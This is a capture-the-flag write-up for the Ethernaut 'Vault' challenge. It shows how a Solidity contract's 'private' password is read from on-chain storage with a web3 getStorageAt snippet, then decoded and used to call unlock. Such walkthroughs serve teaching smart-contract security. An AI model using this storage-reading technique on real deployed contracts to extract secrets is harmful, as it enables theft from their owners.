Ethernaut Level 08 - Vault - Write-Up

Difficulty: 3/10

Objective: Unlock the Vault (make the locked variable false)

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Source

pragma solidity ^0.4.18;

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

In order to call the unlock function and solve the challenge we need the data inside the password variable. Too bad it’s defined as private…

Defining a variable as private doesn’t actually make it private (it’s on the blockchain, nothing’s private here). It only doesn’t make it callable, but if we can access the contract’s storage, we can extract the password.

Variables are stored in slots in contract storage. We can retrieve the storage and these slots using the web3’s getStorageAt() function. Here’s a quick js snippet I use for extracting contract storage:

let variables = []
let promm = (i) => (err, res) => {
  variables[i] = res;
}
for(var i = 0; i < 6; i++){
web3.eth.getStorageAt(instance, i, promm(i))
}

Running the code we get a dump of the storage:

0: "0x0000000000000000000000000000000000000000000000000000000000000001"
1: "0x412076657279207374726f6e67207365637265742070617373776f7264203a29"
2: "0x0000000000000000000000000000000000000000000000000000000000000000"
3: "0x0000000000000000000000000000000000000000000000000000000000000000"
4: "0x0000000000000000000000000000000000000000000000000000000000000000"
5: "0x0000000000000000000000000000000000000000000000000000000000000000"
length: 6

The first slot which is 0x000...001 is the locked variable which is true at first (that’s why it’s 1). The second slot corresponds to the password variable. Let’s convert it from hex to ascii:

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We could have also looked in the initial transaction that initialized the contract:

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We have the password. We can unlock the “vault”:

contract.unlock("A very strong secret password :)")

Now the locked variable should be false:

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We can submit the contract:

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